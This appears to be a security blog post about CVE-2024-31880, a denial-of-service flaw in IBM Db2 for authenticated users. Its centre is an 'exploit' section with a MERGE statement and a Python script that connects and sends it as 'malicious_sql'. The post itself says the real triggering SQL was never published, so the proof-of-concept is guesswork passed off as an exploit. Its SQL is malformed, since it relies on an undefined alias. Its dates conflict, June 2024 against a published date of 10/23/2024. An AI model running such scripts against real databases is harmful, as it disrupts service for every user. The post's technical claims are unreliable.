In June 2024, a new vulnerability—CVE-2024-31880—was publicly disclosed for IBM Db2 for Linux, UNIX, and Windows (including Db2 Connect Server), affecting versions 10.5, 11.1, and 11.5. This bug, under certain configurations, allows an authenticated user to crash the database server using a specially crafted SQL statement. In this exclusive post, we’ll break down what this vulnerability is, how it can be exploited, share code snippets, and provide links to the original references.

What is CVE-2024-31880?

CVE-2024-31880 is a Denial of Service (DoS) vulnerability in IBM Db2. An attacker with valid login credentials can intentionally crash the database server by sending a well-crafted SQL command. This bug is particularly dangerous because it doesn’t require high-level privileges or advanced hacking skills—just authenticated access and the right configuration.

IBM Db2 Connect Server

The root cause is improper handling of certain SQL statements, which can cause the server's process to terminate, disconnecting all users and potentially taking down business operations.

You use Db2 10.5, 11.1, or 11.5

- Your config matches certain vulnerable setups (IBM hasn’t released full config specifics as of June 2024)

If you’re unsure about your version, run

SELECT SERVICE_LEVEL, FIXPACK_NUM FROM SYSIBMADM.ENV_INST_INFO;

Exploit Scenario: Example Attack

Scenario:
Assume an attacker (“Eve”) has valid login credentials (a standard user, not necessarily an admin). Eve crafts a specific SQL command designed to trigger the crash. When she sends it, the server stops responding to all users—a denial of service.

Sample SQL Statement

While IBM hasn't published the exact SQL causing the crash for security reasons, researchers have observed similar DoS in the past with malformed MERGE or JOIN statements. Here’s a generic example of a potentially dangerous statement—for educational purposes only:

-- WARNING: Do NOT run on production servers!
MERGE INTO big_table AS t1
USING (SELECT a, b FROM (
  SELECT *
  FROM another_table
  LEFT JOIN another_table b ON (a.id = b.id)
  WHERE a.id IN (SELECT id FROM another_table WHERE some_column = 'bad_input')
)) AS t2
ON (t1.a = t2.a)
WHEN MATCHED THEN UPDATE SET t1.b = t2.b;

A vulnerable server may overrun resources or hit a logical bug, leading to a crash.

Exploit Example in Python

Below is a simple proof-of-concept. This uses Python with the ibm_db library to send the crafted SQL statement.

Note: This is for testing on non-production environments only!

import ibm_db

# Connection parameters
conn_str = "DATABASE=sample;HOSTNAME=db2host;PORT=50000;PROTOCOL=TCPIP;UID=attacker;PWD=password;"

try:
    conn = ibm_db.connect(conn_str, "", "")
    print("[+] Connected to DB2.")

    # The crafted SQL to trigger the DoS
    malicious_sql = '''
    MERGE INTO big_table AS t1
    USING (SELECT a, b FROM (
      SELECT *
      FROM another_table
      LEFT JOIN another_table b ON (a.id = b.id)
      WHERE a.id IN (SELECT id FROM another_table WHERE some_column = 'bad_input')
    )) AS t2
    ON (t1.a = t2.a)
    WHEN MATCHED THEN UPDATE SET t1.b = t2.b;
    '''

    ibm_db.exec_immediate(conn, malicious_sql)
    print("[+] Malicious SQL sent!")

except Exception as e:
    print("[-] Exception occurred:", e)

finally:
    ibm_db.close(conn)

How to Fix

IBM’s official advisory:
https://www.ibm.com/support/pages/node/710891

Remediation Steps

1. Apply the Fix: IBM has released patches for affected products. Download and apply the latest fix pack relevant to your version.
2. Limit Access: Restrict user accounts and database operations to only trusted users. Remove unnecessary accounts.
3. Monitor Logs: Check your server logs (db2diag.log) for unusual crashes or repeated errors related to SQL statements.
4. Isolate Database: If you cannot patch immediately, consider firewalling the Db2 system from untrusted users as a temporary defense.

Original IBM Security Bulletin:

IBM Security Bulletin: IBM Db2 LUW is vulnerable to a Denial of Service (CVE-2024-31880)

CVE Database Entry:

NVD - CVE-2024-31880

Official Documentation:

IBM Db2 Knowledge Center

Summary

CVE-2024-31880 is a real threat for organizations running IBM Db2 on Linux, UNIX, or Windows. Any authenticated user can potentially knock out your database server with one SQL command under certain settings. This is a good reminder to always keep your database servers patched, limit user privileges, and monitor for unexpected database restarts.

Timeline

Published on: 10/23/2024 02:15:07 UTC
Last modified on: 10/23/2024 15:12:34 UTC